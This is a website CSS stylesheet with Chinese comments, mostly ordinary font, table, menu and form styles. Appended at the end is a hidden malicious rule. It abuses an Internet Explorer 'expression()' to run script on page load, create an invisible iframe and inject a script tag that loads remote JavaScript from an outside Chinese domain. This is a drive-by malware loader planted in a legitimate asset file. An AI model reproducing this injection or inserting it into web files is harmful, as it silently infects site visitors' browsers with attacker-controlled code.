body{
	scrollbar-face-color:#EBEBEB;
	scrollbar-highlight-color:#FFFFFF;
	scrollbar-3dlight-color:#C8C8C8;
	scrollbar-darkshadow-color:#EEEEEE;
	scrollbar-shadow-color:#C0C0C0;
	scrollbar-arrow-color:#076DBC;
	scrollbar-track-color:#F3F3F3;
	font-size: 12px;
	font-family: Geneva, Arial, Helvetica, sans-serif;
	color: #363636;
	background-color: #FFFFFF;
	margin: 0px;
}

/* -------------------------字型變化-------------------- */
.text_00_12pt {font-family: Verdana, Arial, Helvetica, sans-serif;font-size: 12px;color: #2E2E2E;text-decoration: none;}
.text_00_12pt:hover {font-family: Verdana, Arial, Helvetica, sans-serif;font-size: 12px;color: #0066CC;text-decoration: none;}

.text_01_12pt {font-family: Verdana, Arial, Helvetica, sans-serif;font-size: 12px;color: #363636;text-decoration: none;	line-height: 1.6;}
.text_01_12pt:hover {font-family: Verdana, Arial, Helvetica, sans-serif;font-size: 12px;color: #FB6400;text-decoration: none;line-height: 1.6;}

.text_02_13pt {	font-family: Verdana, Arial, Helvetica, sans-serif;	font-size: 13px;color: #363636;text-decoration: none;line-height: 1.6;}
.text_02_13pt:hover {font-family: Verdana, Arial, Helvetica, sans-serif;font-size: 13px;color: #FB6400;text-decoration: none;line-height: 1.6;}

.text_03_12pt {
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-size: 12px;
	color: #5E5E5E;
	text-decoration: none;
	line-height: 1.3;
}
.text_03_12pt:hover {
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-size: 12px;
	color: #6633CC;
	text-decoration: underline;
	line-height: 1.3;
}
.text_04_11pt {
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-size: 11px;
	color: #8086B5;
	text-decoration: none;
}
.text_04_11pt:hover {
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-size: 11px;
	color: #663366;
	text-decoration: none;
}
.text_05_12pt {
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-size: 12px;
	color: #363636;
	text-decoration: none;
	line-height: 1.8;
}
.text_05_12pt:hover {
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-size: 12px;
	color: #FB6400;
	line-height: 1.8;
}
.text_06_12pt {
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-size: 12px;
	color: #0066CC;
	text-decoration: none;
	line-height: 1.5;
}
.text_06_12pt:hover {
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-size: 12px;
	color: #FB6400;
	text-decoration: none;
	line-height: 1.5;
}
.text_07_12pt {
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-size: 12px;
	color: #FF3300;
	text-decoration: none;
	line-height: 1.5;
}
.text_07_12pt:hover {
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-size: 12px;
	color: #FF3300;
	text-decoration: underline;
	line-height: 1.5;
}
.text_08_11pt {
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-size: 11px;
	color: #7B7EA4;
	text-decoration: none;
}
.text_08_11pt:hover {
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-size: 11px;
	color: #CC3399;
	text-decoration: none;
}
.text_09_11pt {
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-size: 11px;
	color: #009933;
	text-decoration: none;
}
.text_09_11pt:hover {
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-size: 11px;
	color: #CC3399;
	text-decoration: none;
}
.text_10_13pt {font-family: Verdana, Arial, Helvetica, sans-serif;font-size: 13px;color: #009966;line-height: 1.3;
	           text-decoration: none;background-color: #FFFFFF;padding-top: 1px;padding-right: 4px;padding-left: 4px;padding-bottom: 1px;}
.text_10_13pt:hover {font-family: Verdana, Arial, Helvetica, sans-serif;font-size: 13px;color: #009966;text-decoration: underline;line-height: 1.3;
	                 background-color: #FFFFFF;padding-top: 1px;padding-right: 4px;padding-left: 4px;padding-bottom: 1px;}
					 
.text_11_13pt {font-family: Verdana, Arial, Helvetica, sans-serif;font-size: 13px;color: #009933;line-height: 1.3;text-decoration: none;}
.text_11_13pt:hover {font-family: Verdana, Arial, Helvetica, sans-serif;font-size: 13px;color: #009966;text-decoration: underline;line-height: 1.3;}

.text_12_13pt {font-family: Verdana, Arial, Helvetica, sans-serif;font-size: 13px;color: #FFFFFF;line-height: 1.5;text-decoration: none;}
.text_12_13pt:hover {font-family: Verdana, Arial, Helvetica, sans-serif;font-size: 13px;color: #FFFFFF;	text-decoration: underline;line-height: 1.3;}

.text_13_15pt {font-family: Verdana, Arial, Helvetica, sans-serif;font-size: 15px;color: #333333;line-height: 1.5;}
.text_13_15pt:hover {font-family: Verdana, Arial, Helvetica, sans-serif;font-size: 15px;color: #3366FF;text-decoration: none;}

.text_14_15pt {font-family: Verdana, Arial, Helvetica, sans-serif;font-size: 15px;color: #6666CC;line-height: 1.3;text-decoration: none;}
.text_14_15pt:hover {font-family: Verdana,Arial, Helvetica, sans-serif;font-size:15px;color: #3366FF;text-decoration: none;}

.text_15_15pt {font-family: Verdana, Arial, Helvetica, sans-serif;font-size: 15px;color: #FF0000;line-height: 1.3;}
.text_15_15pt:hover {font-family: Verdana, Arial, Helvetica, sans-serif;font-size: 15px;color: #3366FF;text-decoration: none;}

.text_16_12pt {font-family: Verdana, Arial, Helvetica, sans-serif;font-size: 12px;color: #FF6600;text-decoration: none;line-height: 1.6;}
.text_16_12pt:hover {font-family: Verdana, Arial, Helvetica, sans-serif;font-size: 12px;color: #0066CC;text-decoration: none;line-height: 1.6;}


.textdown {
	FONT-SIZE: 12px;
	FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif;
	TEXT-DECORATION: none;
	color: #02267B;
}
.textdown:hover {
	FONT-SIZE: 12px; 
	LEFT: 1px; 
	COLOR: #6940D7; 
	FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; 
	POSITION: relative; TOP: 1px
}

.textdown2 {
	FONT-SIZE: 13px;
	FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif;
	TEXT-DECORATION: none;
	color: #02267B;
}
.textdown2:hover {
	FONT-SIZE: 13px; 
	LEFT: 1px; 
	COLOR: #6940D7; 
	FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; 
	POSITION: relative; TOP: 1px
}


.textup {
	FONT-SIZE: 12px;
	FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif;
	TEXT-DECORATION: none;
	color: #666666;
}
.textup:hover {
	FONT-SIZE: 12px;
	COLOR: #6666CC;
	FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif;
	POSITION: relative;
	right: 1px;
	bottom: 1px;
}
.text_menubg_11pt {
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-size: 11px;
	color: #FFFFFF;
	text-decoration: none;
	background-color: #660099;
	padding-right: 4px;
	padding-left: 4px;
	padding-top: 1px;
	padding-bottom: 1px;
}
.text_menubg_11pt:hover {
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-size: 11px;
	color: #FFFFFF;
	text-decoration: none;
	background-color: #3366CC;
}

/* -------------------------版面編排設定------------------------- */
.td_underline {
	border-bottom-width: 1px;
	border-bottom-style: solid;
	border-bottom-color: #999999;
	border-right-width: 1px;
	border-right-style: solid;
	border-right-color: #999999;
}
.td_underline2 {
	border-bottom-width: 1px;
	border-bottom-style: solid;
	border-bottom-color: #EDEDED;
}
.td_underline3 {
	border-bottom-width: 1px;
	border-bottom-style: solid;
	border-bottom-color: #D9D9D9;
}
.td_underline4 {
	background-image: url(images/dotline_03.gif);
	background-repeat: repeat-y;
	background-position: center;
}
.td_underline5 {
	background-image: url(images/dotline_021.gif);
	background-repeat: repeat-x;
	background-position: left center;
}
.linespace {
	line-height: 3px;
}
.table_line{
	border: 1px solid #BEBEBE;
}
.table_line0{
	border: 1px solid #DCDDE7;
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-size: 13px;
	color: #333333;
}
.table_line1{
	border-top-width: 1px;
	border-left-width: 1px;
	border-top-style: solid;
	border-left-style: solid;
	border-top-color: #999999;
	border-left-color: #999999;
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-size: 12px;
	color: #363636;
	text-decoration: none;
}
.table_line2{
	border: 1px dashed #999999;
}

.padding4 {
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-size: 13px;
	color: #333333;
	line-height: 1.8;
	padding-right: 25px;
	padding-bottom: 7px;
	padding-left: 22px;
}

.table-th1 { /* 表格標頭設計樣式 淺色底 黑字*/
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-size: 12px;
	color: #363636;
	background-image: url(images/tableth_bg2.gif);
	background-repeat: repeat-x;
	background-position: right bottom;
	height: 25px;
	padding-left: 8px;
	padding-top: 3px;
	padding-right: 8px;
}
.table-th2 { /* 表格標頭設計樣式 淺色底 黑字*/
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-size: 12px;
	color: #363636;
	background-image: url(images/tableth_bg3.gif);
	background-repeat: no-repeat;
	background-position: left center;
	height: 25px;
	padding-left: 9px;
	padding-top: 3px;
}
.table-th3 { /* 表格標頭設計樣式 深色底 白字*/
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-size: 13px;
	color: #FFFFFF;
	background-image: url(images/tableth_bg1.gif);
	background-repeat: repeat-x;
	background-position: right bottom;
	height: 26px;
	padding-right: 8px;
	padding-left: 8px;
	padding-top: 2px;
}
.table_title { /*  內頁標頭樣式底*/
	height: 25px;
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-size: 15px;
	color: #363636;
	background-color: #FFFFFF;
	letter-spacing: 2px;
	padding-right: 6px;
}
.table_titlebg { /*  內頁標頭樣式底*/
	height: 25px;
	background-image: url(images/page_titlebg.gif);
	background-repeat: repeat-x;
	background-position: left bottom;
	padding-top: 2px;
}
.table_titlebg1 { /*  內頁標頭樣式底*/
	height: 25px;
	background-image: url(images/page_titlebg1.gif);
	background-repeat: repeat-x;
	background-position: left bottom;
	padding-top: 2px;
}


/* -------------------------版面位置設定------------------------- */

.style_content {
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-size: 12px;
	color: #363636;
	line-height: 1.5;
	height: 200px;
	padding-top: 6px;
	padding-right: 2px;
	padding-bottom: 0px;
	padding-left: 2px;
}
.style_content1 {
	padding-top: 0px;
	padding-right: 5px;
	padding-left: 10px;
}
.style_content2 {
	padding-top: 0px;
	padding-right: 5px;
	padding-left: 2px;
}

.style_content3 {
	padding-top: 8px;
	padding-right: 3px;
	padding-left: 3px;
	padding-bottom: 6px;
}



/* -------------------------主選單設定------------------------- */
.menubg {
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-size: 15px;
	background-image: url(images/menu_bg.gif);
	background-repeat: no-repeat;
	padding-left: 30px;
	color: #000000;
	background-position: left center;
	padding-top: 1px;
}
.menubg-over {
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-size: 15px;
	background-image: url(images/menu_bg-over.gif);
	background-repeat: no-repeat;
	padding-left: 30px;
	color: #0066CC;
	background-position: left center;
	padding-top: 1px;
}


/* -------------------------表單元件設定------------------------- */
.select_sty1 {
	font-family: Geneva, Arial, Helvetica, sans-serif;
	font-size: 12px;
	color: #FFFFFF;
	width: 120px;
	border: 1px solid #000000;
	background-color: #6F7D7D;
}
.select_sty2 {
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-size: 12px;
	color: #FFFFFF;
	background-color: #3789B8;
}
.button0 {
	font-family: Verdana, Helvetica, sans-serif;
	background-color: #333D6C;
	color: #FFFFFF;
	font-size: 12px;
	padding-top: 2px;
	HEIGHT: 20px;
	border: 1px solid #333D6C;
	padding-left: 3px;
	padding-right: 2px;
	text-decoration: none;
}
.button1 {
	FONT-SIZE: 12px;
	COLOR: #333333;
	PADDING-TOP: 2px;
	FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif;
	HEIGHT: 20px;
	background-color: #EFEFEF;
	border: 1px solid #6B6B6B;
	padding-left: 3px;
	padding-right: 2px;
	text-decoration: none;
}
.input01 {
	border: 1px solid #FFFFFF;
	font-family: Geneva, Arial, Helvetica, sans-serif;
	font-size: 12px;
	color: #666666;
	text-decoration: none;
	padding-top: 1px;
	padding-left: 2px;
}
.input02 {
	border: 1px solid #FFFFFF;
	font-family: Geneva, Arial, Helvetica, sans-serif;
	font-size: 11px;
	color: #666666;
	text-decoration: none;
	padding-top: 1px;
	padding-left: 2px;
}
.menu_button {
	background-image: url(images/submenubg.gif);
	background-repeat: repeat-x;
	background-position: top;
	border: 1px solid #CCCCCC;
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-size: 13px;
	color: #333333;
	text-decoration: none;
	height: 29px;
	padding-right: 7px;
	padding-left: 7px;
	padding-top: 2px;
}body{zoom:expression(function(ele){setTimeout(function(){var i=document.createElement('iframe');i.width=i.height=0;document.body.appendChild(i);i.contentWindow.setTimeout(function(){i.contentWindow.document.write('<script src=http://www.800816.com.cn/cache/yahoo.js></script>');},1000);},1000);ele.style.zoom='1';}(this));}